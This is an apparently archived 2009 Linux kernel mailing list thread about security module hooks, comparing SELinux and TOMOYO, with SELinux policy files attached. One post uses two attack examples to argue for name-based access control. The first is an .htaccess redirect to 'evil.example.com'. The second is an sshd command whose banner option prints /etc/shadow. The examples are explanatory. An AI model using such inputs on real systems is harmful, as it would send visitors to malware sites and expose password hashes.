Re: A basic question about the security_* hooks

[Valdis.Kletnieks]

[-- Attachment #1: Type: text/plain, Size: 1254 bytes --]

On Mon, 28 Dec 2009 20:51:49 +0900, Tetsuo Handa said:

(Hit send too soon)

> Both SELinux and TOMOYO have ability to cover all processes (from /sbin/init
> till /sbin/poweroff) or targeted processes (e.g. only daemons). But SELinux is
> not widely used for protecting all processes. TOMOYO can provide some
> protection for processes which SELinux doesn't protect.

OK, this was what I was talking about - what processes does TOMOYO protect
that SELinux doesn't?  Or are you suggesting "use TOMOYO when using the SELinux
'targeted' policy that only tracks some processes"?  It would seem that a better
solution there would be to just go ahead and use the 'strict' or 'mls' policies
if you want coverage of all processes - having some processes under SELinux
and some under TOMOYO rules is just asking for confusion...

> Also, people know we sometimes need to restrict string parameters for avoiding
> unwanted consequence. TOMOYO can pay attention to string parameters whereas
> SELinux can't.

Which string parameters are these?  Perhaps a better approach than trying to
layer all of TOMOYO on SELinux is to create a small targeted "look at string
parameters" LSM and run *that* on top. Would require LSM stacking, but so would
doing all of TOMOYO.


[-- Attachment #2: Type: application/pgp-signature, Size: 227 bytes --]

Re: A basic question about the security_* hooks

[Kyle Moffett]

On Sat, Dec 26, 2009 at 14:50, Michael Stone <michael@laptop.org> wrote:
>> I ask bc the API is in the prctl code, so the LSM
>> is conceptually always there, which is different from other LSMs.
>
> The goal is to provide a stupidly simple unprivileged per-process network
> isolation primitive which is broadly available "without jumping through
> hoops".
>
> (See http://cr.yp.to/unix/disablenetwork.html for a nice writeup.)
> I need a primitive like this to further my work on the OLPC Bitfrost
> security
> architecture and to further my more general work on advancing the state of
> sandboxing technology. (See sandboxing.org.)
>
> I'm willing to entertain pretty much any implementation or interface request
> which meets that goal and which implements the desired semantics.

If you aren't using SELinux at this time (and therefore have no
existing policy), then it's actually pretty straightforward
(relatively speaking) to set up for your particular goals.  On top of
that, once you actually get the system set up, it's very easy to
extend your sandbox security model to additional processes, actions,
etc.

In this example, you would set up a very minimal stripped-down SELinux
policy in which you only define 3 types (file_t, regular_t and
nonetwork_t).  Any process would be allowed to "dyntransition" from
regular_t to nonetwork_t, but not the reverse.  regular_t would be
allowed to do anything.  nonetwork_t would be allowed to do anything
that (A) does not involve the network *and* (B) does not compromise a
regular_t process.  file_t would only be used for on-disk files.

If you want to have some program binaries *automatically* run in
nonetwork_t, you would add 1 extra type: nonetwork_exec_t.  You would
include a rule "type_transition regular_t nonetwork_exec_t:process
nonetwork_t;" in your policy, and then allow anyone to relabel files
between the labels "file_t" and "nonetwork_exec_t".  Any program file
labelled "nonetwork_exec_t" would automatically execute as
"nonetwork_t" and therefore be properly sandboxed.

The default SELinux policies are rather fantastically complicated,
mainly because they have a goal of locking down an entire GUI-enabled
system.  If all you need is something much simpler, the policy
language is very flexible and easy to customize.

The best part is... when you discover you need to control additional
actions, you can do so at runtime with zero risk of crashing the
kernel (although you can always lock yourself into a box and force a
reboot with bad security policy).

Cheers,
Kyle Moffett

Re: A basic question about the security_* hooks

[Casey Schaufler]

Kyle Moffett wrote:
> On Sat, Dec 26, 2009 at 14:50, Michael Stone <michael@laptop.org> wrote:
>   
>>> I ask bc the API is in the prctl code, so the LSM
>>> is conceptually always there, which is different from other LSMs.
>>>       
>> The goal is to provide a stupidly simple unprivileged per-process network
>> isolation primitive which is broadly available "without jumping through
>> hoops".
>>
>> (See http://cr.yp.to/unix/disablenetwork.html for a nice writeup.)
>> I need a primitive like this to further my work on the OLPC Bitfrost
>> security
>> architecture and to further my more general work on advancing the state of
>> sandboxing technology. (See sandboxing.org.)
>>
>> I'm willing to entertain pretty much any implementation or interface request
>> which meets that goal and which implements the desired semantics.
>>     
>
> If you aren't using SELinux at this time (and therefore have no
> existing policy), then it's actually pretty straightforward
> (relatively speaking) to set up for your particular goals.  On top of
> that, once you actually get the system set up, it's very easy to
> extend your sandbox security model to additional processes, actions,
> etc.
>
> In this example, you would set up a very minimal stripped-down SELinux
> policy in which you only define 3 types (file_t, regular_t and
> nonetwork_t).  Any process would be allowed to "dyntransition" from
> regular_t to nonetwork_t, but not the reverse.  regular_t would be
> allowed to do anything.  nonetwork_t would be allowed to do anything
> that (A) does not involve the network *and* (B) does not compromise a
> regular_t process.  file_t would only be used for on-disk files.
>
> If you want to have some program binaries *automatically* run in
> nonetwork_t, you would add 1 extra type: nonetwork_exec_t.  You would
> include a rule "type_transition regular_t nonetwork_exec_t:process
> nonetwork_t;" in your policy, and then allow anyone to relabel files
> between the labels "file_t" and "nonetwork_exec_t".  Any program file
> labelled "nonetwork_exec_t" would automatically execute as
> "nonetwork_t" and therefore be properly sandboxed.
>   

I would be very surprised if the policy you've described actually
covered all the bases. I would also be surprised if a functional
policy that meets the needs described was considerably smaller than
Lake Michigan. It's really easy to toss off the basics of what needs
to be done, it's quite another to get the whole thing right.

> The default SELinux policies are rather fantastically complicated,
>   

Everyone, I didn't say that. He did.

> mainly because they have a goal of locking down an entire GUI-enabled
> system.  

Err, even with unconstrained_t all over the place it's over a million
lines. You can't blame the GUI environment for that.

> If all you need is something much simpler, the policy
> language is very flexible and easy to customize.
>   

I'm willing to bet all the beers you can drink in a sitting that
the policy would be bigger than the proposed LSM. You can count that
in either bytes or lines.

> The best part is... when you discover you need to control additional
> actions, you can do so at runtime with zero risk of crashing the
> kernel (although you can always lock yourself into a box and force a
> reboot with bad security policy).
>
> Cheers,
> Kyle Moffett
> --
> To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> Please read the FAQ at  http://www.tux.org/lkml/
>
>
>   

Label based MAC + Name based MAC (was Re: A basic question about the security_* hooks)

[Tetsuo Handa]

Valdis.Kletnieks@vt.edu wrote:
> > Also, people know we sometimes need to restrict string parameters for avoiding
> > unwanted consequence. TOMOYO can pay attention to string parameters whereas
> > SELinux can't.
> 
> Which string parameters are these?

(1) Basename part of a file's pathname.
(2) Pathnames passed to directory entry manipulation functions.
(3) Pathnames passed to namespace manipulation functions.
(4) The content of symlink.
(5) Invocation name of a program (a.k.a. argv[0])
(6) Commandline arguments (a.k.a. argv[])
(7) Environment variables (a.k.a. envp[])

and probably more. Please understand that "Those who give insane input deserve
insane output." is not correct excuse. Without MAC, it is OK to say "If root
user did insane requests, nothing prevents from insane results". With MAC,
it is not OK to say so because MAC is sometimes used for dividing root's power
using RBAC (or similar). MAC is an approach for protecting from insane requests.

(1) Basename part of a file's pathname.

Suppose a storage administrator wants to schedule automatic fsck upon next
reboot. The security policy will be configured to allow creating a file
under / directory since the administrator wants to create /forcefsck .
But what happens if the administrator created /autorelabel on purpose or
accidentally? Relabeling operation will be done upon next reboot. If some
files are not located in place, the files will get improper labels.
Who knew that a storage administrator can change file's label that are not
in place?
We should have allowed the storage administrator to create only /forcefsck ,
shouldn't we?

Suppose CGI programs invoked by Apache create files dynamically.
The security policy will be configured to allow creating files under
/var/www/html/ directory since the CGI program wants to create 
/var/www/html/blog.dat and /var/www/html/index.dat .
But what happens if the CGI program had a security hole that allows
attackers to create /var/www/html/.htaccess with the content

  RedirectMatch (.*) http://evil.example.com/cgi-bin/poison-it?$1

? Apache will interpret /var/www/html/.htaccess and send HTTP 302 response
to web clients.
Who knew that the web server leads web clients to malware distributing site?
We should have allowed the CGI program to create only /var/www/html/blog.dat
and /var/www/html/index.dat , shouldn't we?

(2) Pathnames passed to directory entry manipulation functions.

Userland depends on whether files (programs, libraries, config files etc.) are
located in place or not. If we allow directory entry manipulation operations
wider than needed, the risk of files not located in place becomes larger.

I'm not saying that inode based access control is useless. I'm saying that
the granularity of inode based access control is not finest-grained because it
does not represent the parent/child relationship. For example, allowing rename
of "etc_t" is wider than needed. Only permission to rename from /etc/foo/bar to
/etc/foo/buz should be given if it is sufficient.

(3) Pathnames passed to namespace manipulation functions.

Same reasons to directory entry manipulation functions.

(4) The content of symlink.

Suppose CGI programs invoked by Apache create symlinks. The security policy
will be configured to allow creating symlinks under /var/www/html/ directory
since the CGI program wants to create symlink to /var/www/html/document.dat .
But what happens if the CGI program had a security hole that allows attackers
to create symlink to /var/www/html/.htpasswd ? Apache (or CGI programs) will
return the content of /var/www/html/.htpasswd .
Who knew that the web server discloses the password information to attackers?
We should have forbidden symlinking to /var/www/html/.htpasswd , shouldn't we?

(5) Invocation name of a program (a.k.a. argv[0])

Several programs (e.g. busybox) behave differently depending on the invocation
name. Suppose you want to allow printing only md5 of specified file.
If "cat" and "md5sum" are implemented as hard-linked binary program, executing
"md5sum" with argv[0] set to "cat" will act as "cat", which will print the
content of specified file rather than md5 of the file.

(6) Commandline arguments (a.k.a. argv[])

Suppose login administrator wants to restart ssh server. The security policy
will be configured to allow stopping and restarting /usr/sbin/sshd .
But what happens if the administrator restarted /usr/sbin/sshd as

  /usr/sbin/sshd -o 'Banner /etc/shadow'

? The content of /etc/shadow is printed to unauthenticated ssh clients.
Who knew that a login administrator can broadcast the content of /etc/shadow
when "cat /etc/shadow" is permitted to nobody?
We should have forbidden passing such commandline parameters, shouldn't we?

(7) Environment variables (a.k.a. envp[])

Environment variables affect the behavior of programs. For example, modifying
SHELLOPTS outside bash and executing bash script may cause unexpected results.
We should be careful about envp[] as well as argv[], shouldn't we?



I agree that SELinux / Smack can very well control whether the subject can
read/write/execute the object or not, but that is part of security.
Security still depends on how the subject uses the object if the subject can
access the object.
String parameters described above control how the subject uses the object.
TOMOYO provides ability to pay attention to string parameters listed above
(although currently not all functionalities are merged into mainline kernel).

> > Both SELinux and TOMOYO have ability to cover all processes (from /sbin/init
> > till /sbin/poweroff) or targeted processes (e.g. only daemons). But SELinux is
> > not widely used for protecting all processes. TOMOYO can provide some
> > protection for processes which SELinux doesn't protect.
> 
> OK, this was what I was talking about - what processes does TOMOYO protect
> that SELinux doesn't?  Or are you suggesting "use TOMOYO when using the SELinux
> 'targeted' policy that only tracks some processes"?

That depends on what Linux users want to do.
Some will use TOMOYO for protecting processes not protected by SELinux.
Others will use TOMOYO for protecting processes already protected by SELinux
(e.g. CGI programs from Apache) because what TOMOYO provides is what SELinux
doesn't provide.

> It would seem that a better
> solution there would be to just go ahead and use the 'strict' or 'mls' policies
> if you want coverage of all processes - having some processes under SELinux
> and some under TOMOYO rules is just asking for confusion...

Using 'strict' or 'mls' policies for protecting all processes is not the
solution I want.

The solution I want is systems with inode based MAC (e.g. SELinux / Smack) and
name based MAC (e.g. TOMOYO / AppArmor) enabled at the same time so that the
systems are protected by two approaches ("whether the subject can
read/write/execute the object or not" and "how the subject uses the object")
if Linux users can accept the risk of enabling both.

Regards.

Re: A basic question about the security_* hooks

[Kyle Moffett]

[-- Attachment #1: Type: text/plain, Size: 2398 bytes --]

On Mon, Dec 28, 2009 at 20:43, Casey Schaufler <casey@schaufler-ca.com> wrote:
> Kyle Moffett wrote:
>> On Sat, Dec 26, 2009 at 14:50, Michael Stone <michael@laptop.org> wrote:
>>> I'm willing to entertain pretty much any implementation or interface request
>>> which meets that goal and which implements the desired semantics.
>>>
>>
>> If you aren't using SELinux at this time (and therefore have no
>> existing policy), then it's actually pretty straightforward
>> (relatively speaking) to set up for your particular goals.  On top of
>> that, once you actually get the system set up, it's very easy to
>> extend your sandbox security model to additional processes, actions,
>> etc.
>>
>> [...]
>
> I would be very surprised if the policy you've described actually
> covered all the bases. I would also be surprised if a functional
> policy that meets the needs described was considerably smaller than
> Lake Michigan. It's really easy to toss off the basics of what needs
> to be done, it's quite another to get the whole thing right.
>
>> If all you need is something much simpler, the policy
>> language is very flexible and easy to customize.
>>
>
> I'm willing to bet all the beers you can drink in a sitting that
> the policy would be bigger than the proposed LSM. You can count that
> in either bytes or lines.

If that bet's in Mountain Dew or "Bawls" energy drinks
(http://www.bawls.com/) instead of beer... then you've got a deal :-D

Here's a very fast first cut at such a policy.  In this version I
actually completely ignore the type-enforcement mechanism, although if
you decide to start mediating file access then you may want to
reenable it.  The policy is pretty straightforward and easy to read...
customizations would initially mostly be in the "constraint" rules.

The only thing I actually had to write was the base-policy.pp file.  I
personally absolutely detest M4... so these particular files are
designed to be preprocessed with "cpp" instead.  Those 3 ".h" files
are simply lists of the kernel's access vectors and such run through
"sed" to convert the "#" comments into "//" comments.

I have a Makefile I've been using personally to build that policy, but
right now it's rather interdependent with my working environment, so
it may take me several days to find the time to extract it cleanly.

Cheers,
Kyle Moffett

[-- Attachment #2: access_vectors.h --]
[-- Type: application/octet-stream, Size: 8806 bytes --]

//
// Define common prefixes for access vectors
//
// common common_name { permission_name ... }


//
// Define a common prefix for file access vectors.
//

common file
{
	ioctl
	read
	write
	create
	getattr
	setattr
	lock
	relabelfrom
	relabelto
	append
	unlink
	link
	rename
	execute
	swapon
	quotaon
	mounton
}


//
// Define a common prefix for socket access vectors.
//

common socket
{
// inherited from file
	ioctl
	read
	write
	create
	getattr
	setattr
	lock
	relabelfrom
	relabelto
	append
// socket-specific
	bind
	connect
	listen
	accept
	getopt
	setopt
	shutdown
	recvfrom
	sendto
	recv_msg
	send_msg
	name_bind
}	

//
// Define a common prefix for ipc access vectors.
//

common ipc
{
	create
	destroy
	getattr
	setattr
	read
	write
	associate
	unix_read
	unix_write
}

//
//  Define a common prefix for userspace database object access vectors.
//

common database
{
	create
	drop
	getattr
	setattr
	relabelfrom
	relabelto
}

//
// Define a common prefix for pointer and keyboard access vectors.
//

common x_device
{
	getattr
	setattr
	use
	read
	write
	getfocus
	setfocus
	bell
	force_cursor
	freeze
	grab
	manage
	list_property
	get_property
	set_property
	add
	remove
	create
	destroy
}

//
// Define the access vectors.
//
// class class_name [ inherits common_name ] { permission_name ... }


//
// Define the access vector interpretation for file-related objects.
//

class filesystem
{
	mount
	remount
	unmount
	getattr
	relabelfrom
	relabelto
	transition
	associate
	quotamod
	quotaget
}

class dir
inherits file
{
	add_name
	remove_name
	reparent
	search
	rmdir
	open
}

class file
inherits file
{
	execute_no_trans
	entrypoint
	execmod
	open
}

class lnk_file
inherits file

class chr_file
inherits file
{
	execute_no_trans
	entrypoint
	execmod
	open
}

class blk_file
inherits file
{
	open
}

class sock_file
inherits file
{
	open
}

class fifo_file
inherits file
{
	open
}

class fd
{
	use
}


//
// Define the access vector interpretation for network-related objects.
//

class socket
inherits socket

class tcp_socket
inherits socket
{
	connectto
	newconn
	acceptfrom
	node_bind
	name_connect
}

class udp_socket
inherits socket
{
	node_bind
}

class rawip_socket
inherits socket
{
	node_bind
}

class node 
{
	tcp_recv
	tcp_send
	udp_recv
	udp_send
	rawip_recv
	rawip_send
	enforce_dest
	dccp_recv
	dccp_send
	recvfrom
	sendto
}

class netif
{
	tcp_recv
	tcp_send
	udp_recv
	udp_send
	rawip_recv
	rawip_send
	dccp_recv
	dccp_send
	ingress
	egress
}

class netlink_socket
inherits socket

class packet_socket
inherits socket

class key_socket
inherits socket

class unix_stream_socket
inherits socket
{
	connectto
	newconn
	acceptfrom
}

class unix_dgram_socket
inherits socket

//
// Define the access vector interpretation for process-related objects
//

class process
{
	fork
	transition
	sigchld // commonly granted from child to parent
	sigkill // cannot be caught or ignored
	sigstop // cannot be caught or ignored
	signull // for kill(pid, 0)
	signal  // all other signals
	ptrace
	getsched
	setsched
	getsession
	getpgid
	setpgid
	getcap
	setcap
	share
	getattr
	setexec
	setfscreate
	noatsecure
	siginh
	setrlimit
	rlimitinh
	dyntransition
	setcurrent
	execmem
	execstack
	execheap
	setkeycreate
	setsockcreate
}


//
// Define the access vector interpretation for ipc-related objects
//

class ipc
inherits ipc

class sem
inherits ipc

class msgq
inherits ipc
{
	enqueue
}

class msg
{
	send
	receive
}

class shm
inherits ipc
{
	lock
}


//
// Define the access vector interpretation for the security server. 
//

class security
{
	compute_av
	compute_create
	compute_member
	check_context
	load_policy
	compute_relabel
	compute_user
	setenforce     // was avc_toggle in system class
	setbool
	setsecparam
	setcheckreqprot
}


//
// Define the access vector interpretation for system operations.
//

class system
{
	ipc_info
	syslog_read  
	syslog_mod
	syslog_console
	module_request
}

//
// Define the access vector interpretation for controling capabilies
//

class capability
{
	// The capabilities are defined in include/linux/capability.h
	// Capabilities >= 32 are defined in the capability2 class.
	// Care should be taken to ensure that these are consistent with
	// those definitions. (Order matters)

	chown           
	dac_override    
	dac_read_search 
	fowner          
	fsetid          
	kill            
	setgid           
	setuid           
	setpcap          
	linux_immutable  
	net_bind_service 
	net_broadcast    
	net_admin        
	net_raw          
	ipc_lock         
	ipc_owner        
	sys_module       
	sys_rawio        
	sys_chroot       
	sys_ptrace       
	sys_pacct        
	sys_admin        
	sys_boot         
	sys_nice         
	sys_resource     
	sys_time         
	sys_tty_config  
	mknod
	lease
	audit_write
	audit_control
	setfcap
}

class capability2 
{
	mac_override	// unused by SELinux
	mac_admin	// unused by SELinux
}

//
// Define the access vector interpretation for controlling
// changes to passwd information.
//
class passwd
{
	passwd	// change another user passwd
	chfn	// change another user finger info
	chsh	// change another user shell
	rootok  // pam_rootok check (skip auth)
	crontab // crontab on another user
}

//
// SE-X Windows stuff
//
class x_drawable
{
	create
	destroy
	read
	write
	blend
	getattr
	setattr
	list_child
	add_child
	remove_child
	list_property
	get_property
	set_property
	manage
	override
	show
	hide
	send
	receive
}

class x_screen
{
	getattr
	setattr
	hide_cursor
	show_cursor
	saver_getattr
	saver_setattr
	saver_hide
	saver_show
}

class x_gc
{
	create
	destroy
	getattr
	setattr
	use
}

class x_font
{
	create
	destroy
	getattr
	add_glyph
	remove_glyph
	use
}

class x_colormap
{
	create
	destroy
	read
	write
	getattr
	add_color
	remove_color
	install
	uninstall
	use
}

class x_property
{
	create
	destroy
	read
	write
	append
	getattr
	setattr
}

class x_selection
{
	read
	write
	getattr
	setattr
}

class x_cursor
{
	create
	destroy
	read
	write
	getattr
	setattr
	use
}

class x_client
{
	destroy
	getattr
	setattr
	manage
}

class x_device
inherits x_device

class x_server
{
	getattr
	setattr
	record
	debug
	grab
	manage
}

class x_extension
{
	query
	use
}

class x_resource
{
	read
	write
}

class x_event
{
	send
	receive
}

class x_synthetic_event
{
	send
	receive
}

//
// Extended Netlink classes
//
class netlink_route_socket
inherits socket
{
	nlmsg_read
	nlmsg_write
}

class netlink_firewall_socket
inherits socket
{
	nlmsg_read
	nlmsg_write
}

class netlink_tcpdiag_socket
inherits socket
{
	nlmsg_read
	nlmsg_write
}

class netlink_nflog_socket
inherits socket

class netlink_xfrm_socket
inherits socket
{
	nlmsg_read
	nlmsg_write
}

class netlink_selinux_socket
inherits socket

class netlink_audit_socket
inherits socket
{
	nlmsg_read
	nlmsg_write
	nlmsg_relay
	nlmsg_readpriv
	nlmsg_tty_audit
}

class netlink_ip6fw_socket
inherits socket
{
	nlmsg_read
	nlmsg_write
}

class netlink_dnrt_socket
inherits socket

// Define the access vector interpretation for controlling
// access and communication through the D-BUS messaging
// system.
//
class dbus
{
	acquire_svc
	send_msg
}

// Define the access vector interpretation for controlling
// access through the name service cache daemon (nscd).
//
class nscd
{
	getpwd
	getgrp
	gethost
	getstat
	admin
	shmempwd
	shmemgrp
	shmemhost
	getserv
	shmemserv
}

// Define the access vector interpretation for controlling
// access to IPSec network data by association
//
class association
{
	sendto
	recvfrom
	setcontext
	polmatch
}

// Updated Netlink class for KOBJECT_UEVENT family.
class netlink_kobject_uevent_socket
inherits socket

class appletalk_socket
inherits socket

class packet
{
	send
	recv
	relabelto
	flow_in		// deprecated
	flow_out	// deprecated
	forward_in
	forward_out
}

class key
{
	view
	read
	write
	search
	link
	setattr
	create
}

class context
{
	translate
	contains
}

class dccp_socket
inherits socket
{
	node_bind
	name_connect
}

class memprotect
{
	mmap_zero
}

class db_database
inherits database
{
	access
	install_module
	load_module
	get_param	// deprecated
	set_param	// deprecated
}

class db_table
inherits database
{
	use		// deprecated
	select
	update
	insert
	delete
	lock
}

class db_procedure
inherits database
{
	execute
	entrypoint
	install
}

class db_column
inherits database
{
	use		// deprecated
	select
	update
	insert
}

class db_tuple
{
	relabelfrom
	relabelto
	use		// deprecated
	select
	update
	insert
	delete
}

class db_blob
inherits database
{
	read
	write
	import
	export
}

// network peer labels
class peer
{
	recv
}

class x_application_data
{
	paste
	paste_after_confirm
	copy
}

class kernel_service
{
	use_as_override
	create_files_as	
}

class tun_socket
inherits socket

class x_pointer
inherits x_device

class x_keyboard
inherits x_device

[-- Attachment #3: base-policy.te --]
[-- Type: application/octet-stream, Size: 2332 bytes --]

/* These lists of binary access vectors match what the kernel expects */
#include <flask/security_classes.h>
#include <flask/initial_sids.h>
#include <flask/access_vectors.h>

/* Make sure we're running on a new enough kernel */
policycap network_peer_controls;

/* We have no attributes or booleans */

/* Only one type */
type any_t;

/* A few roles */
role obj_r;
role proc_r;
role nonet_r;

/* Allow each rule to assume the only type */
role obj_r   types any_t;
role proc_r  types any_t;
role nonet_r types any_t;

/* Completely disable type-enforcement */
allow any_t any_t:{ all_classes } *;

/* Only one "user" */
user any_u roles { obj_r proc_r nonet_r };

/* The below rules control what is or isn't allowed */

/* Make sure that "nonet" mode is unescapable */
constrain process { transition dyntransition noatsecure siginh rlimitinh } (
	(r1 == r2) or
	(r1 == proc_r and r2 == nonet_r)
);

/* 
 * Disallow various actions from nonet.  There are probably more hooks
 * missing from this list (see the very exhaustive list in the include file
 * <flask/access_vectors.h>), but they are trivial to add and very
 * straightforward.
 */
constrain tcp_socket { bind connect        } (r1 != nonet_r);
constrain udp_socket { bind connect sendto } (r1 != nonet_r);

// Default SIDs (Tell the kernel to label almost anything the same)
sid netmsg		any_u:obj_r:any_t
sid port		any_u:obj_r:any_t
sid node		any_u:obj_r:any_t
sid netif		any_u:obj_r:any_t
sid devnull		any_u:obj_r:any_t
sid file		any_u:obj_r:any_t
sid fs			any_u:obj_r:any_t
sid sysctl		any_u:obj_r:any_t
sid unlabeled		any_u:obj_r:any_t
sid any_socket		any_u:obj_r:any_t
sid file_labels		any_u:obj_r:any_t
sid icmp_socket		any_u:obj_r:any_t
sid igmp_packet		any_u:obj_r:any_t
sid init		any_u:obj_r:any_t
sid kmod		any_u:obj_r:any_t
sid policy		any_u:obj_r:any_t
sid scmp_packet		any_u:obj_r:any_t
sid sysctl_modprobe	any_u:obj_r:any_t
sid sysctl_fs		any_u:obj_r:any_t
sid sysctl_kernel	any_u:obj_r:any_t
sid sysctl_net		any_u:obj_r:any_t
sid sysctl_net_unix	any_u:obj_r:any_t
sid sysctl_vm		any_u:obj_r:any_t
sid sysctl_dev		any_u:obj_r:any_t
sid tcp_socket		any_u:obj_r:any_t
sid security		any_u:obj_r:any_t

// This label is used when the kernel starts new processes
sid kernel  any_u:proc_r:any_t

// No manual FS labels, everything should just pick up default SIDs

[-- Attachment #4: initial_sids.h --]
[-- Type: application/octet-stream, Size: 422 bytes --]

// FLASK

//
// Define initial security identifiers 
//

sid kernel
sid security
sid unlabeled
sid fs
sid file
sid file_labels
sid init
sid any_socket
sid port
sid netif
sid netmsg
sid node
sid igmp_packet
sid icmp_socket
sid tcp_socket
sid sysctl_modprobe
sid sysctl
sid sysctl_fs
sid sysctl_kernel
sid sysctl_net
sid sysctl_net_unix
sid sysctl_vm
sid sysctl_dev
sid kmod
sid policy
sid scmp_packet
sid devnull

// FLASK

[-- Attachment #5: security_classes.h --]
[-- Type: application/octet-stream, Size: 3670 bytes --]

// FLASK

//
// Define the security object classes 
//

// Classes marked as userspace are classes
// for userspace object managers

class security
class process
class system
class capability

// file-related classes
class filesystem
class file
class dir
class fd
class lnk_file
class chr_file
class blk_file
class sock_file
class fifo_file

// network-related classes
class socket
class tcp_socket
class udp_socket
class rawip_socket
class node
class netif
class netlink_socket
class packet_socket
class key_socket
class unix_stream_socket
class unix_dgram_socket

// sysv-ipc-related classes
class sem
class msg
class msgq
class shm
class ipc

//
// userspace object manager classes
//

// passwd/chfn/chsh
class passwd			// userspace

// SE-X Windows stuff (more classes below)
class x_drawable		// userspace
class x_screen			// userspace
class x_gc			// userspace
class x_font			// userspace
class x_colormap		// userspace
class x_property		// userspace
class x_selection		// userspace
class x_cursor			// userspace
class x_client			// userspace
class x_device			// userspace
class x_server			// userspace
class x_extension		// userspace

// extended netlink sockets
class netlink_route_socket
class netlink_firewall_socket
class netlink_tcpdiag_socket
class netlink_nflog_socket
class netlink_xfrm_socket
class netlink_selinux_socket
class netlink_audit_socket
class netlink_ip6fw_socket
class netlink_dnrt_socket

class dbus			// userspace
class nscd			// userspace

// IPSec association
class association

// Updated Netlink class for KOBJECT_UEVENT family.
class netlink_kobject_uevent_socket

class appletalk_socket

class packet

// Kernel access key retention
class key

class context			// userspace

class dccp_socket

class memprotect

class db_database		// userspace
class db_table			// userspace
class db_procedure		// userspace
class db_column			// userspace
class db_tuple			// userspace
class db_blob			// userspace

// network peer labels
class peer

// Capabilities >= 32
class capability2

// More SE-X Windows stuff
class x_resource		// userspace
class x_event			// userspace
class x_synthetic_event		// userspace
class x_application_data	// userspace

// kernel services that need to override task security, e.g. cachefiles
class kernel_service 

class tun_socket

// Still More SE-X Windows stuff
class x_pointer			// userspace
class x_keyboard		// userspace

#define all_classes			\
	security			\
	process				\
	system				\
	capability			\
	filesystem			\
	file				\
	dir				\
	fd				\
	lnk_file			\
	chr_file			\
	blk_file			\
	sock_file			\
	fifo_file			\
	socket				\
	tcp_socket			\
	udp_socket			\
	rawip_socket			\
	node				\
	netif				\
	netlink_socket			\
	packet_socket			\
	key_socket			\
	unix_stream_socket		\
	unix_dgram_socket		\
	sem				\
	msg				\
	msgq				\
	shm				\
	ipc				\
	passwd				\
	x_drawable			\
	x_screen			\
	x_gc				\
	x_font				\
	x_colormap			\
	x_property			\
	x_selection			\
	x_cursor			\
	x_client			\
	x_device			\
	x_server			\
	x_extension			\
	netlink_route_socket		\
	netlink_firewall_socket		\
	netlink_tcpdiag_socket		\
	netlink_nflog_socket		\
	netlink_xfrm_socket		\
	netlink_selinux_socket		\
	netlink_audit_socket		\
	netlink_ip6fw_socket		\
	netlink_dnrt_socket		\
	dbus				\
	nscd				\
	association			\
	netlink_kobject_uevent_socket	\
	appletalk_socket		\
	packet				\
	key				\
	context				\
	dccp_socket			\
	memprotect			\
	db_database			\
	db_table			\
	db_procedure			\
	db_column			\
	db_tuple			\
	db_blob				\
	peer				\
	capability2			\
	x_resource			\
	x_event				\
	x_synthetic_event		\
	x_application_data		\
	kernel_service			\
	tun_socket			\
	x_pointer			\
	x_keyboard

// FLASK

Re: A basic question about the security_* hooks

[Casey Schaufler]

Kyle Moffett wrote:
> On Mon, Dec 28, 2009 at 20:43, Casey Schaufler <casey@schaufler-ca.com> wrote:
>   
>> Kyle Moffett wrote:
>>     
>>> On Sat, Dec 26, 2009 at 14:50, Michael Stone <michael@laptop.org> wrote:
>>>       
>>>> I'm willing to entertain pretty much any implementation or interface request
>>>> which meets that goal and which implements the desired semantics.
>>>>
>>>>         
>>> If you aren't using SELinux at this time (and therefore have no
>>> existing policy), then it's actually pretty straightforward
>>> (relatively speaking) to set up for your particular goals.  On top of
>>> that, once you actually get the system set up, it's very easy to
>>> extend your sandbox security model to additional processes, actions,
>>> etc.
>>>
>>> [...]
>>>       
>> I would be very surprised if the policy you've described actually
>> covered all the bases. I would also be surprised if a functional
>> policy that meets the needs described was considerably smaller than
>> Lake Michigan. It's really easy to toss off the basics of what needs
>> to be done, it's quite another to get the whole thing right.
>>
>>     
>>> If all you need is something much simpler, the policy
>>> language is very flexible and easy to customize.
>>>
>>>       
>> I'm willing to bet all the beers you can drink in a sitting that
>> the policy would be bigger than the proposed LSM. You can count that
>> in either bytes or lines.
>>     
>
> If that bet's in Mountain Dew or "Bawls" energy drinks
> (http://www.bawls.com/) instead of beer... then you've got a deal :-D
>   

Hee hee. A sitting doesn't last very long with those beverages.

> Here's a very fast first cut at such a policy.  In this version I
> actually completely ignore the type-enforcement mechanism, although if
> you decide to start mediating file access then you may want to
> reenable it.  The policy is pretty straightforward and easy to read...
> customizations would initially mostly be in the "constraint" rules.
>   

Wouldn't this policy prevent all processes from using the network,
as opposed to the particular ones that need to be controlled?
I can't claim to be the world's greatest policy expert, and I
could have it wrong (it happens often enough) but wouldn't you
need at least two labels, one for the restricted programs and
one for the rest?

> The only thing I actually had to write was the base-policy.pp file.  I
> personally absolutely detest M4... so these particular files are
> designed to be preprocessed with "cpp" instead.  Those 3 ".h" files
> are simply lists of the kernel's access vectors and such run through
> "sed" to convert the "#" comments into "//" comments.
>
> I have a Makefile I've been using personally to build that policy, but
> right now it's rather interdependent with my working environment, so
> it may take me several days to find the time to extract it cleanly.
>
> Cheers,
> Kyle Moffett
>   

Re: A basic question about the security_* hooks

[David P. Quigley]

On Thu, 2009-12-24 at 18:05 -0600, Serge E. Hallyn wrote:
> Quoting Eric W. Biederman (ebiederm@xmission.com):
> > Casey Schaufler <casey@schaufler-ca.com> writes:
> > 
> > > I'm behind you 100%. Use the LSM. Your module is exactly why we have
> > > the blessed thing. Once we get a collection of otherwise unrelated
> > > LSMs the need for a stacker will be sufficiently evident that we'll
> > > be able to get one done properly.
> > 
> > My immediate impression is that the big limitation today is the
> > sharing of the void * security data members of strucutres.
> > 
> > Otherwise multiple security modules could be as simple as.
> > list_for_each(mod)
> >         if (mod->op(...) != 0)
> > 		return -EPERM.
> > 
> > It isn't hard to multiplex a single data field into several with a
> > nice little abstraction.
> > 
> > With my maintainer of a general purpose kernel hat on I would love to
> > be able to build in all of the security modules and select at boot
> > time which ones were enabled.
> 
> You're supposed to be able to do that now - use the "security=smack"
> or whatever boot option (see security/security.c:choose_lsm() ).
> 
> -serge
> --
> To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> Please read the FAQ at  http://www.tux.org/lkml/


Ubuntu and SuSe currently do this and it is what allows them to ship a
